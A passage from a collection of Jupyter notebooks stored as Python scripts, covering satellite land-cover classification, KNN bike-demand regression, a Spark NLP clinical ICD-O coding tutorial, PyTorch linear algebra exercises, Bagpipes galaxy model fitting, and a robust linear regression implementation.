\"https://localhost:8080/\"} id=\"ADLuyWmdr_38\" outputId=\"79e7d923-93d0-41a1-d56d-c7491b23ba3c\"\nprint(classification_report(y_test, test_predict, target_names=class_names))\n\n# + id=\"0NCPzjwatNSr\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 678} outputId=\"904abb36-6cfb-427b-cc71-0ee2875e1702\"\nconf_mat = confusion_matrix(y_test, test_predict)\nfig, ax = plt.subplots(figsize=(10,10))\nsns.heatmap(conf_mat, annot=True, fmt='d', xticklabels=class_names, yticklabels=class_names)\nplt.ylabel('Actual')\nplt.xlabel('Predicted')\nplt.show()\n\n# + id=\"HfOLSjXllPeQ\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"619d7a87-fce4-429f-a071-8f575e2baaf1\"\ndf['Label'].value_counts()\n\n# + [markdown] id=\"mV0dpM6gqpVh\"\n# # Create land cover mapping \n#\n\n# + id=\"4xyFMdj6pbtw\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"7770d334-3f61-4854-c5a8-310540e8a000\"\narr = []\n\nfor i in range(3006):\n for j in range(2478):\n ls = []\n for k in range(12):\n ls.append(arr_st[k][i][j])\n ls.append((ls[7]-ls[3])/(ls[7] + ls[3]))\n ls.append((ls[2]-ls[7])/(ls[2]+ls[7]))\n arr.append(ls)\n\n# + id=\"jw-6ohMSsImH\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"ef9a95f3-23c8-40da-dc2a-dcbe718c02f7\"\narr = np.array(arr)\nprint(arr.shape)\n\n# + id=\"qKd69cTGsasL\"\narr = np.nan_to_num(arr, nan=0)\narr = pipe.predict(arr)\narr = arr.reshape(3006, 2478)\n\n# + id=\"tnXEY40VwQMd\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 693} outputId=\"688abff4-f583-4d2a-ff0d-32c33ad5f686\"\n# target_names = {'Aquarculture': 0, 'Barren land ': 1, \n# 'Crop lands': 2, 'Forest': 3,\n# 'Grass land': 4, 'None': 5,\n# 'Open water': 6, 'Residential Land': 7, \n# 'Rice paddies': 8, 'Scub/Schrub': 9, \n# 'Wetland': 10}\n\nep.plot_bands(arr.astype(float), cmap=ListedColormap(['#4d68ff', '#b7b3a0', \n '#e4c977', '#006400', \n '#ffe200', 'white', \n '#0e00a8', 'red', \n '#3a86a7', '#b28d67', \n '#004e00']))\nplt.show()\n","repo_name":"Heulwen31/LandCoverMappingUseSentinel2RandomForest","sub_path":"LandCoverMappingUseSentinel2.ipynb","file_name":"LandCoverMappingUseSentinel2.ipynb","file_ext":"py","file_size_in_byte":6701,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"13296662217","text":"import utils\nimport importlib\nimportlib.reload(utils)\nfrom utils import *\n\nimport pandas as pd\npd.set_option('display.float_format', lambda x: '%.3f' % x)\npath_dataset = 'Bike-Sharing-Dataset/bikes_day.csv'\ndf = pd.read_csv(path_dataset)\n\ndf.head()\n\ndf.cnt.describe()\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.neighbors import KNeighborsRegressor\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import r2_score\n\n# +\nx = df.drop(['dteday','casual','registered','cnt'], axis=1)\ny = df['cnt']\nstra = df[['season','workingday']]\n\nx_train, x_test, y_train, y_test = train_test_split( x, y, train_size=0.75, stratify=stra)\n# -\n\n\n\n# +\nneigh = KNeighborsRegressor(n_neighbors=1, weights='uniform', algorithm='brute')\nneigh.fit(x_train, y_train) \n\ny_pred = neigh.predict(x_test)\nres = np.sqrt(mean_squared_error(y_test, y_pred))\n\nr2_score(y_test, y_pred)\n\n# +\nrmses_train = []\nrmses_test = []\n\nfor i in range(1,100):\n neigh = KNeighborsRegressor(n_neighbors=i, weights='uniform', algorithm='brute')\n neigh.fit(x_train, y_train) \n\n y_pred_train = neigh.predict(x_train)\n rmses_train.append(np.sqrt(mean_squared_error(y_train, y_pred_train))) \n\n y_pred = neigh.predict(x_test)\n rmses_test.append(np.sqrt(mean_squared_error(y_test, y_pred)))\n# -\n\nplt.plot(range(1,100, 1), rmses_train, label='RMSE Training')\nplt.plot(range(1,100, 1), rmses_test, label='RMSE Testing')\nplt.ylim((0, 1300))\nplt.legend(loc=\"best\")\nplt.title(\"RMSE Training vs RMSE Testing para KNN\")\nplt.show()\n","repo_name":"carloscba/acamica","sub_path":"clase16/.ipynb_checkpoints/Lecture16-checkpoint.ipynb","file_name":"Lecture16-checkpoint.ipynb","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"6966963279","text":"# + [markdown] id=\"TA21Jo5d9SVq\"\n#\n#\n# ![JohnSnowLabs](https://nlp.johnsnowlabs.com/assets/images/logo.png)\n#\n# [![Open In Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/JohnSnowLabs/spark-nlp-workshop/blob/master/tutorials/streamlit_notebooks/healthcare/ER_ICDO.ipynb)\n#\n#\n#\n\n# + [markdown] id=\"CzIdjHkAW8TB\"\n# # **ICDO coding**\n\n# + [markdown] id=\"6uDmeHEFW7_h\"\n# To run this yourself, you will need to upload your license keys to the notebook. Otherwise, you can look at the example outputs at the bottom of the notebook. To upload license keys, open the file explorer on the left side of the screen and upload `workshop_license_keys.json` to the folder that opens.\n\n# + [markdown] id=\"wIeCOiJNW-88\"\n# ## 1. Colab Setup\n\n# + [markdown] id=\"HMIDv74CYN0d\"\n# Import license keys\n\n# + id=\"ttHPIV2JXbIM\" executionInfo={\"status\": \"ok\", \"timestamp\": 1601204620273, \"user_tz\": -300, \"elapsed\": 1052, \"user\": {\"displayName\": \"Hasham Ul Haq\", \"photoUrl\": \"\", \"userId\": \"10508284328555930330\"}} outputId=\"8d102eee-4fa0-41ec-9cd5-f979c9b69be8\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 51}\nimport os\nimport json\n\nwith open('/content/spark_nlp_for_healthcare.json', 'r') as f:\n license_keys = json.load(f)\n\nlicense_keys.keys()\n\nsecret = license_keys['SECRET']\nos.environ['SPARK_NLP_LICENSE'] = license_keys['SPARK_NLP_LICENSE']\nos.environ['AWS_ACCESS_KEY_ID'] = license_keys['AWS_ACCESS_KEY_ID']\nos.environ['AWS_SECRET_ACCESS_KEY'] = license_keys['AWS_SECRET_ACCESS_KEY']\nsparknlp_version = license_keys[\"PUBLIC_VERSION\"]\njsl_version = license_keys[\"JSL_VERSION\"]\n\nprint ('SparkNLP Version:', sparknlp_version)\nprint ('SparkNLP-JSL Version:', jsl_version)\n\n# + [markdown] id=\"rQtc1CHaYQjU\"\n# Install dependencies\n\n# + id=\"CGJktFHdHL1n\" executionInfo={\"status\": \"ok\", \"timestamp\": 1601204688754, \"user_tz\": -300, \"elapsed\": 67833, \"user\": {\"displayName\": \"Hasham Ul Haq\", \"photoUrl\": \"\", \"userId\": \"10508284328555930330\"}} outputId=\"1e3f1b8f-7069-4b0d-8fa1-225224db554b\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 326}\n# Install Java\n# ! apt-get update -qq\n# ! apt-get install -y openjdk-8-jdk-headless -qq > /dev/null\n# ! java -version\n\n# Install pyspark\n# ! pip install --ignore-installed -q pyspark==2.4.4\n\n# Install Spark NLP\n# ! pip install --ignore-installed spark-nlp==$sparknlp_version\n# ! python -m pip install --upgrade spark-nlp-jsl==$jsl_version --extra-index-url https://pypi.johnsnowlabs.com/$secret\n\n# + [markdown] id=\"Hj5FRDV4YSXN\"\n# Import dependencies into Python\n\n# + id=\"qUWyj8c6JSPP\" executionInfo={\"status\": \"ok\", \"timestamp\": 1601204688756, \"user_tz\": -300, \"elapsed\": 65646, \"user\": {\"displayName\": \"Hasham Ul Haq\", \"photoUrl\": \"\", \"userId\": \"10508284328555930330\"}}\nos.environ['JAVA_HOME'] = \"/usr/lib/jvm/java-8-openjdk-amd64\"\nos.environ['PATH'] = os.environ['JAVA_HOME'] + \"/bin:\" + os.environ['PATH']\n\nimport pandas as pd\nfrom pyspark.ml import Pipeline\nfrom pyspark.sql import SparkSession\nimport pyspark.sql.functions as F\n\nimport sparknlp\nfrom sparknlp.annotator import *\nfrom sparknlp_jsl.annotator import *\nfrom sparknlp.base import *\nimport sparknlp_jsl\n\n\n# + [markdown] id=\"ed6Htm7qDQB3\"\n# Start the Spark session\n\n# + id=\"eaSM8-xhDRa4\" executionInfo={\"status\": \"ok\", \"timestamp\": 1601204709582, \"user_tz\": -300, \"elapsed\": 20816, \"user\": {\"displayName\": \"Hasham Ul Haq\", \"photoUrl\": \"\", \"userId\": \"10508284328555930330\"}}\nspark = sparknlp_jsl.start(secret)\n\n# + [markdown] id=\"9RgiqfX5XDqb\"\n# ## 2. Select the Entity Resolver model and construct the pipeline\n\n# + [markdown] id=\"AVKr8C2SrkZQ\"\n# Select the models:\n#\n# **ICDO Entity Resolver models:**\n#\n# 1. **chunkresolve_icdo_clinical**\n#\n# **NER models that support neoplasms:**\n# 1. **ner_bionlp**\n#\n# For more details: https://github.com/JohnSnowLabs/spark-nlp-models#pretrained-models---spark-nlp-for-healthcare\n\n# + id=\"cK9xxkkfrsLc\" executionInfo={\"status\": \"ok\", \"timestamp\": 1601204861444, \"user_tz\": -300, \"elapsed\": 1301, \"user\": {\"displayName\": \"Hasham Ul Haq\", \"photoUrl\": \"\", \"userId\": \"10508284328555930330\"}}\n# Change this to the model you want to use and re-run the cells below.\nER_MODEL_NAME = \"chunkresolve_icdo_clinical\"\nNER_MODEL_NAME = \"ner_bionlp\"\n\n# + [markdown] id=\"zweiG2ilZqoR\"\n# Create the pipeline\n\n# + id=\"LLuDz_t40be4\" executionInfo={\"status\": \"ok\", \"timestamp\": 1601205432824, \"user_tz\": -300, \"elapsed\": 8988, \"user\": {\"displayName\": \"Hasham Ul Haq\", \"photoUrl\": \"\", \"userId\": \"10508284328555930330\"}} outputId=\"ac8ab568-6291-46ca-9fd5-b4a1c237c9bd\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 170}\ndocument_assembler = DocumentAssembler() \\\n .setInputCol('text')\\\n .setOutputCol('document')\n\nsentence_detector = SentenceDetector() \\\n .setInputCols(['document'])\\\n .setOutputCol('sentences')\n\ntokenizer = Tokenizer()\\\n .setInputCols(['sentences']) \\\n .setOutputCol('tokens')\n\nembeddings = WordEmbeddingsModel.pretrained('embeddings_clinical', 'en', 'clinical/models')\\\n .setInputCols([\"sentences\", \"tokens\"])\\\n .setOutputCol(\"embeddings\")\n\nclinical_ner_model = NerDLModel().pretrained(NER_MODEL_NAME, 'en', 'clinical/models').setInputCols(\"sentences\", \"tokens\", \"embeddings\")\\\n .setOutputCol(\"clinical_ner_tags\") \n\n# using whitelist to filter out entities\nclinical_ner_chunker = NerConverter()\\\n .setInputCols([\"sentences\", \"tokens\", \"clinical_ner_tags\"])\\\n .setOutputCol(\"ner_chunk\").setWhiteList(['Cancer'])\n\nchunk_embeddings = ChunkEmbeddings()\\\n .setInputCols(\"ner_chunk\", \"embeddings\")\\\n .setOutputCol(\"chunk_embeddings\")\n\nentity_resolver = \\\n ChunkEntityResolverModel.pretrained(ER_MODEL_NAME,\"en\",\"clinical/models\")\\\n .setInputCols(\"tokens\",\"chunk_embeddings\").setOutputCol(\"resolution\")\n\npipeline = Pipeline(stages=[\n document_assembler, \n sentence_detector,\n tokenizer,\n embeddings,\n clinical_ner_model,\n clinical_ner_chunker,\n chunk_embeddings,\n entity_resolver])\n\nempty_df = spark.createDataFrame([['']]).toDF(\"text\")\npipeline_model = pipeline.fit(empty_df)\nlight_pipeline = LightPipeline(pipeline_model)\n\n# + [markdown] id=\"2Y9GpdJhXIpD\"\n# ## 3. Create example inputs\n\n# + id=\"vBOKkB2THdGI\" executionInfo={\"status\": \"ok\", \"timestamp\": 1601205432825, \"user_tz\": -300, \"elapsed\": 5804, \"user\": {\"displayName\": \"Hasham Ul Haq\", \"photoUrl\": \"\", \"userId\": \"10508284328555930330\"}}\n# Enter examples as strings in this array\ninput_list = [\n\"\"\"DIAGNOSIS: Left breast adenocarcinoma stage T3 N1b M0, stage IIIA.\nShe has been found more recently to have stage IV disease with metastatic deposits and recurrence involving the chest wall and lower left neck lymph nodes.\nPHYSICAL EXAMINATION\nNECK: On physical examination palpable lymphadenopathy is present in the left lower neck and supraclavicular area. No other cervical lymphadenopathy or supraclavicular lymphadenopathy is present.\nRESPIRATORY: Good air entry bilaterally. Examination of the chest wall reveals a small lesion where the chest wall recurrence was resected. No lumps, bumps or evidence of disease involving the right breast is present.\nABDOMEN: Normal bowel sounds, no hepatomegaly. No tenderness on deep palpation. She has just started her last cycle of chemotherapy today, and she wishes to visit her daughter in Brooklyn, New York. After this she will return in approximately 3 to 4 weeks and begin her radiotherapy treatment at that time.\"\"\",\n ]\n\n# + [markdown] id=\"1gmrjqHSGcJx\"\n# # 4. Run the pipeline\n\n# + id=\"xdhgKutMHUoC\" executionInfo={\"status\": \"ok\", \"timestamp\": 1601205434366, \"user_tz\": -300, \"elapsed\": 6186, \"user\": {\"displayName\": \"Hasham Ul Haq\", \"photoUrl\": \"\", \"userId\": \"10508284328555930330\"}}\ndf = spark.createDataFrame(pd.DataFrame({\"text\": input_list}))\nresult = pipeline_model.transform(df)\nlight_result = light_pipeline.fullAnnotate(input_list[0])\n\n# + [markdown] id=\"UIVShVLhI68M\"\n# # 5. Visualize\n\n# + [markdown] id=\"472iBPpK-FvF\"\n# Full Pipeline\n\n# + id=\"Qdh2BQaLI7tU\" executionInfo={\"status\": \"ok\", \"timestamp\": 1601205435739, \"user_tz\": -300, \"elapsed\": 5561, \"user\": {\"displayName\": \"Hasham Ul Haq\", \"photoUrl\": \"\", \"userId\": \"10508284328555930330\"}} outputId=\"eee35830-c127-4dde-b1cb-cd4759c0c43c\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 111}\nresult.select(\n F.explode(\n F.arrays_zip('ner_chunk.result', \n 'ner_chunk.begin',\n 'ner_chunk.end',\n 'ner_chunk.metadata',\n 'resolution.metadata', 'resolution.result')\n ).alias('cols')\n).select(\n F.expr(\"cols['0']\").alias('chunk'),\n F.expr(\"cols['1']\").alias('begin'),\n F.expr(\"cols['2']\").alias('end'),\n F.expr(\"cols['3']['entity']\").alias('entity'),\n F.expr(\"cols['4']['resolved_text']\").alias('idco_description'),\n F.expr(\"cols['5']\").alias('icdo_code'),\n).toPandas()\n\n# + [markdown] id=\"1w6-BQ0MFL9Y\"\n# Light Pipeline\n\n# + id=\"LSukuO5eE1cZ\" executionInfo={\"status\": \"ok\", \"timestamp\": 1601205435740, \"user_tz\": -300, \"elapsed\": 2990, \"user\": {\"displayName\": \"Hasham Ul Haq\", \"photoUrl\": \"\", \"userId\": \"10508284328555930330\"}} outputId=\"eed7e4b8-b206-4b83-ff9f-c5a4b4f4c164\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 71}\nlight_result[0]['resolution']\n","repo_name":"rssmahesh1/park-nlp-workshop","sub_path":"tutorials/streamlit_notebooks/healthcare/ER_ICDO.ipynb","file_name":"ER_ICDO.ipynb","file_ext":"py","file_size_in_byte":9231,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"616806711","text":"# # Linear Algebra\n\nfrom __future__ import print_function\nimport torch\nimport numpy as np\nimport matplotlib\n# %matplotlib inline\nimport matplotlib.pyplot as plt\n\nfrom datetime import date\ndate.today()\n\nauthor = \"kyubyong. https://github.com/Kyubyong/pytorch_exercises\"\n\ntorch.__version__\n\nnp.__version__\n\n# NOTE on notation\n#\n# _x, _y, _z, ...: NumPy 0-d or 1-d arrays\n# _X, _Y, _Z, ...: NumPy 2-d or higer dimensional arrays\n# x, y, z, ...: 0-d or 1-d tensors\n# X, Y, Z, ...: 2-d or higher dimensional tensors\n\n# ## Matrix and vector products\n\n# Q1. Compute the inner product of two vectors x and y.\n\n# +\nx = torch.Tensor([1, 2])\ny = torch.Tensor([3, 4])\nz = ...\n\nprint(z)\n# -\n\n# Q2. Compute the product of vector x and matrix Y.\n\nx = torch.Tensor([1, 2])\nY = torch.Tensor([[0, 0], [1, 1]])\nz = ...\nprint(z)\n\n# Q3. Compute a matrix-vector product of matrix X and vector y.\n\nX = torch.Tensor([[1, 2], [3, 4]])\ny = torch.Tensor([3, 4])\nz = ...\nprint(z)\n\n\n# Q4. Compute a matrix multiplication of matrix X and Y.\n\nX = torch.Tensor([[1, 2], [3, 4]])\nY = torch.Tensor([[0, 0], [1, 1]])\nZ = ...\nprint(Z)\n\n# Q5. Compute a batch matrix multiplication of tensor X and Y.\n\nX = torch.randn(3, 4, 5)\nY = torch.randn(3, 5, 6)\nZ = ...\nprint(Z.size())\n\n# Q6. Express the below computation as a single line.
\n# `M + x⊗y`\n\n# +\nx = torch.Tensor([1, 2])\ny = torch.Tensor([3, 4])\nM = torch.ones(2, 2)\nZ = ...\n\nprint(Z)\n# -\n\n# Q7.Express the below computation as a single line.
\n# `m + torch.mv(X, y)`\n\nX = torch.Tensor([[1, 2], [3, 4]])\ny = torch.Tensor([3, 4])\nm = torch.ones(2)\nZ = ...\nprint(Z)\n\n# Q8.Express the below computation as a single line.
\n# `M + torch.mm(X, Y)`\n\nX = torch.Tensor([[1, 2], [3, 4]])\nY = torch.Tensor([[0, 0], [1, 1]])\nM = torch.ones(2, 2)\nZ = ...\nprint(Z)\n\n# Q9. Express the below computation as a single line.
\n# ``M + torch.sum(torch.bmm(X, Y), 0)``\n\nX = torch.randn(10, 3, 4)\nY = torch.randn(10, 4, 5)\nM = torch.ones(3, 5)\nZ = ...\nprint(Z, Z.size())\n\n# Q10. Express the below computation as a single line.
\n# `M + torch.bmm(X, Y)`\n\nX = torch.randn(10, 3, 4)\nY = torch.randn(10, 4, 5)\nM = torch.ones(3, 5)\nZ = ...\nprint(Z.size())\n\n# ## Decompositions\n\n# Q11. Compute the upper trianglular `U` in the Cholesky decomposition of X.\n\n_X = np.array([[4, 12, -16], [12, 37, -43], [-16, -43, 98]], dtype=np.float32)\nX = torch.from_numpy(_X)\nU = ...\nprint(U)\n\n# Q12. Compute the qr factorization of X.\n\n_X = np.array([[12, -51, 4], [6, 167, -68], [-4, 24, -41]], dtype=np.float32)\nX = torch.from_numpy(_X)\nq, r = ...\nprint(\"q=\", q)\nprint(\"r=\", r)\n\n# Q13. Factor x by Singular Value Decomposition.\n\n_X = np.array([[1, 0, 0, 0, 2], [0, 0, 3, 0, 0], [0, 0, 0, 0, 0], [0, 2, 0, 0, 0]], dtype=np.float32)\nX = torch.from_numpy(_X)\nU, s, V = ...\nprint(\"U=\", U)\nprint(\"s=\", s)\nprint(\"V=\", V)\n\n# ## Matrix eigenvalues\n\n# Q14. Compute the eigenvalues and right eigenvectors of X.\n\nX = torch.Tensor([[2, 0, 0], [0, 3, 4], [0, 4, 9]])\ne, v = ...\nprint(\"eigen values=\", e)\nprint(\"eigen vectors=\", v)\n\n\n# ## Norms\n\n# Q15. Calculate the L2 norm of x.\n\nx = torch.arange(-5, 5)\ny = ...\nprint(y)\n\n# Q16. Calculate the L1 norm of x.\n\nx = torch.arange(-5, 5)\ny = ...\nprint(y)\n\n# ## Inverting matrices\n\n# Q17. Compute the inverse of X.\n\nX = torch.Tensor([[1, 2], [3, 4]])\nY = ...\nprint(Y)\n\n\n","repo_name":"Kyubyong/pytorch_exercises","sub_path":"Chapter1_Tensors/Linear_Algebra.ipynb","file_name":"Linear_Algebra.ipynb","file_ext":"py","file_size_in_byte":3308,"program_lang":"python","lang":"en","doc_type":"code","stars":309,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"35418598225","text":"# # Extracting the maximum likelihood model from fit results\n#\n# This is the first in a new series of examples I'm putting together to demonstrate how to do some more advanced things with the code. These are more stand-alone than the basic examples, and will be added to as I receive requests for more information from users. It's probably best to use these as a reference guide rather than working through them in order, however the functions I introduce here may also be helpful when doing other things with the code.\n#\n# It's probably worth noting that the basic examples are currently written in Python 2, whereas I've made the change to Python 3 for these advanced topics.\n#\n# **Please read the important caveat at the bottom before using maximum likelihood quantities calculated using the method given below.**\n\n# ## Setting up\n#\n# Let's begin by running a quick new fit to the same object from GOODSS that we used in Example 4.\n\n# +\nimport numpy as np \nimport bagpipes as pipes\n\nfrom astropy.io import fits\n\ndef load_goodss(ID):\n \"\"\" Load CANDELS GOODS South photometry from the Guo et al. (2013) catalogue. \"\"\"\n\n # load up the relevant columns from the catalogue.\n cat = np.loadtxt(\"hlsp_candels_hst_wfc3_goodss-tot-multiband_f160w_v1-1photom_cat.txt\",\n usecols=(10, 13, 16, 19, 25, 28, 31, 34, 37, 40, 43, 46, 49, 52, 55,\n 11, 14, 17, 20, 26, 29, 32, 35, 38, 41, 44, 47, 50, 53, 56))\n \n # Find the correct row for the object we want.\n row = int(ID) - 1\n\n # Extract the object we want from the catalogue.\n fluxes = cat[row, :15]\n fluxerrs = cat[row, 15:]\n\n # Turn these into a 2D array.\n photometry = np.c_[fluxes, fluxerrs]\n\n # blow up the errors associated with any missing fluxes.\n for i in range(len(photometry)):\n if (photometry[i, 0] == 0.) or (photometry[i, 1] <= 0):\n photometry[i,:] = [0., 9.9*10**99.]\n \n # Enforce a maximum SNR of 20, or 10 in the IRAC channels.\n for i in range(len(photometry)):\n if i < 10:\n max_snr = 20.\n \n else:\n max_snr = 10.\n \n if photometry[i, 0]/photometry[i, 1] > max_snr:\n photometry[i, 1] = photometry[i, 0]/max_snr\n\n return photometry\n\ngoodss_filt_list = np.loadtxt(\"filters/goodss_filt_list.txt\", dtype=\"str\").tolist()\n\ngalaxy = pipes.galaxy(\"17433\", load_goodss, spectrum_exists=False, filt_list=goodss_filt_list)\n\n# Now make a fit instructions dictionary, the details aren't important for this example.\n\ndblplaw = {} \ndblplaw[\"tau\"] = (0., 15.)\n \ndblplaw[\"alpha\"] = (0.01, 1000.)\ndblplaw[\"beta\"] = (0.01, 1000.)\ndblplaw[\"alpha_prior\"] = \"log_10\"\ndblplaw[\"beta_prior\"] = \"log_10\"\ndblplaw[\"massformed\"] = (1., 15.)\ndblplaw[\"metallicity\"] = (0.1, 2.5)\n\ndust = {} \ndust[\"type\"] = \"Calzetti\"\ndust[\"Av\"] = (0., 2.)\n\nnebular = {}\nnebular[\"logU\"] = -3.\n\nfit_info = {}\nfit_info[\"redshift\"] = (0., 10.)\nfit_info[\"dblplaw\"] = dblplaw \nfit_info[\"dust\"] = dust\nfit_info[\"nebular\"] = nebular\n\n# +\nfit = pipes.fit(galaxy, fit_info, run=\"advanced_1\")\n\nfit.fit(verbose=False)\n\nfig = fit.plot_spectrum_posterior(save=False, show=True)\n# -\n\n# ## Finding the maximum likelihood model parameters\n#\n# The code stores basic output quantities such as the log-likelihood values for each point in the posterior distribution in the fit.results dictionary.\n#\n# For example:\n\nprint(type(fit.results[\"lnlike\"]), len(fit.results[\"lnlike\"]))\n\n# To find out which point in the posterior has the highest likelihood we can use numpy.argmax:\n\nmax_like_index = np.argmax(fit.results[\"lnlike\"])\nprint(max_like_index)\n\n# The parameter values for each point in the posterior are also stored in a 2D array within fit.results, called samples2d. We can extract the maximum likelihood model parameters from samples2d using the index we just extracted from the lnlike array:\n\nprint(fit.results[\"samples2d\"][max_like_index, :])\n\n# As a side note, the ordering of these parameters can be found under fit.fitted_model.params. However we don't actually need to know this to generate the maximum likelihood model, as you'll see below.\n#\n# ## Generating the maximum likelihood model\n#\n# fit.fitted_model also contains a handy function for generating a model_components dictionary directly from this list of parameter values. Obviously this is specific to the fit from which the maximum likelihood parameter values were extracted. \n#\n# We can use fit.fitted_model.\\_update_model_components to generate a model_components dictionary for the maximum likelihood model as follows:\n\n# +\nfit.fitted_model._update_model_components(fit.results[\"samples2d\"][max_like_index, :])\n\nmax_like_model_components = fit.fitted_model.model_components\n\nprint(max_like_model_components)\n# -\n\n# And finally we can generate the maximum likelihood model (with the same observables and/or different ones) by feeding this model into a new model_galaxy object:\n\n# +\nmax_like_model_galaxy = pipes.model_galaxy(max_like_model_components,\n filt_list=goodss_filt_list,\n spec_wavs=np.arange(6000., 10000., 5.))\n\nfig = max_like_model_galaxy.plot()\n# -\n\n# You can then access the predicted max likelihood observables in the same way as you would for any other model galaxy object:\n\nprint(max_like_model_galaxy.photometry)\n\nprint(max_like_model_galaxy.sfh.stellar_mass)\n\n# # A very important caveat!\n\n# It's important to remember that the MultiNest algorithm Bagpipes uses is optimised to achieve a good approximation of the evidence and shape of the posterior with the most efficient possible sampling of parameter space. Unlike more traditional algorithms used for this kind of problem, its primary aim is **NOT** to search parameter space for the maximum of the posterior/likelihood distribution.\n#\n# The method described above picks out the point in the MultiNest posterior with the highest likelihood out of the samples that were generated as it explored parameter space. This is likely to be close to the maximum likelihood, but it's almost guaranteed that other points in parameter space, which weren't directly sampled by MultiNest, will have higher likelihood. You also won't get exactly the same max. likelihood parameters if you run the algorithm again.\n#\n# You can get MultiNest to perform a finer sampling of parameter space by increasing the number of live points (n_live) to the highest possible value, e.g. 1000-2500 live points (though the more you use the longer the fit will take). This will increase the reliability of the maximum likelihood values you obtain.\n#\n\n\n","repo_name":"ACCarnall/bagpipes","sub_path":"examples/Further Examples 1 - Extracting the maximum likelihood model.ipynb","file_name":"Further Examples 1 - Extracting the maximum likelihood model.ipynb","file_ext":"py","file_size_in_byte":6691,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"27574474832","text":"# +\nimport numpy as np\nimport pandas as pd\nimport scipy as sp\n\nimport sklearn\nfrom sklearn import datasets\n\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n\nimport seaborn as sns\nsns.set_style('darkgrid')\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nnp.random.seed(42)\n\n# +\nfrom sklearn.base import BaseEstimator\nfrom sklearn.linear_model import LinearRegression\nfrom scipy.optimize import minimize\n\nclass RobustLinearRegression(BaseEstimator):\n def __init__(self, estimator='LMS', w0=None):\n \"\"\"\n estimator: str\n 'OLS', 'LAD', 'LMS', 'LTS', 'R', 'REWLSE'\n w0: np.array of shape (d)\n init weights\n \"\"\"\n \n self.estimator = estimator\n self.w0 = w0\n if w0 is None:\n self.w0 = np.random.rand(X.shape[1] + 1)\n\n self.w = None\n \n def MSE(self, w, X, y):\n return np.sum((y - (w[0] + X.T * w[1:]))**2)\n\n def MAE(self, w, X, y):\n return np.sum(abs(y - (w[0] + X.T * w[1:])))\n\n def LMS(self, w, X, y):\n return np.median((y - (w[0] + X.T * w[1:]))**2)\n\n def LTS(self, w, X, y):\n return np.sum(np.sort((y - (w[0] + X.T * w[1:]))**2)[:,:int(X.shape[0] / 2 + 1) + 1])\n\n def R(self, w, X, y):\n r = (y - X.T * w[1:])[0]\n ranks = pd.DataFrame(data={'residues': r}).rank().to_numpy()\n return np.sqrt(12) * np.sum(r * (ranks[:,0] / (X.shape[0] + 1) - 0.5).T)\n \n def REWLSE(self, w, X, y):\n r = (y - (w[0] + X.T * w[1:]))[0]\n sigma = np.median(abs(r - np.median(r)))\n r = 0.675 * r / sigma\n \n absr = np.sort(abs(r))\n temp = [max(sp.stats.norm.cdf(absr[i]) - i / len(absr), 0) for i in range(len(absr)) if absr[i] >= 2.5]\n d = max(temp) if temp else 0\n t = absr[len(absr) - int(np.floor(len(absr) * d)) - 1]\n \n W = np.diag(np.array([1 if abs(ri) < t else 0 for ri in r]))\n X1 = np.hstack((np.ones([X.shape[0], 1], X.dtype), X))\n return np.linalg.inv(X1.T @ W @ X1) @ X1.T @ W @ y\n \n \n def fit(self, X, y):\n \"\"\"\n X: np.array of shape (l, d)\n y: np.array of shape (l)\n ---\n output: self\n \"\"\"\n if self.estimator == 'OLS':\n model = LinearRegression().fit(X, y)\n self.w = np.array([model.intercept_, *model.coef_])\n \n elif self.estimator == 'LAD':\n model = minimize(fun=self.MAE, x0=self.w0, args=(X, y), method='Nelder-Mead')\n if not model.success:\n raise RuntimeError(model.status)\n self.w = model.x\n \n elif self.estimator == 'LMS':\n model = minimize(fun=self.LMS, x0=self.w0, args=(X, y), method='Nelder-Mead')\n if not model.success:\n raise RuntimeError(model.status)\n self.w = model.x\n \n elif self.estimator == 'LTS':\n model = minimize(fun=self.LTS, x0=self.w0, args=(X, y), method='Nelder-Mead')\n if not model.success:\n raise RuntimeError(model.status)\n self.w = model.x\n \n elif self.estimator == 'R':\n model = minimize(fun=self.R, x0=self.w0, args=(X, y), method='Nelder-Mead')\n if not model.success:\n raise RuntimeError(model.status)\n intercept = np.median(Y - X.T * model.x[1:])\n self.w = np.array([intercept, *model.x[1:]])\n \n elif self.estimator == 'REWLSE':\n model = minimize(fun=self.LMS, x0=self.w0, args=(X, y), method='Nelder-Mead')\n if not model.success:\n raise RuntimeError(model.status)\n self.w = self.REWLSE(model.x, X, y)\n \n else:\n raise ValueError('Unknown estimator')\n \n return self\n \n \n def predict(self, X):\n if self.w is None:\n raise Exception('Not trained yet')\n return np.dot(X, self.w)\n# -\n\n# ## 1. Ирисы Фишера\n\ndf = sklearn.datasets.load_iris(as_frame=True).frame\nX = df['sepal width (cm)'][30:].to_numpy().reshape(-1, 1)\nY = df['sepal length (cm)'][30:].to_numpy()\n\n# +\nestimators = ['OLS', 'LAD', 'LMS', 'LTS', 'R', 'REWLSE']\ncolors = ['r', 'orange', 'b', 'c', 'k', 'g']\nlinestyles = ['-', '-.', '--', '-.', ':', '-']\n\nplt.figure(figsize=(14, 7))\n\nplt.scatter(x=X[:,0], y=Y)\n\nfor est, color, style in zip(estimators, colors, 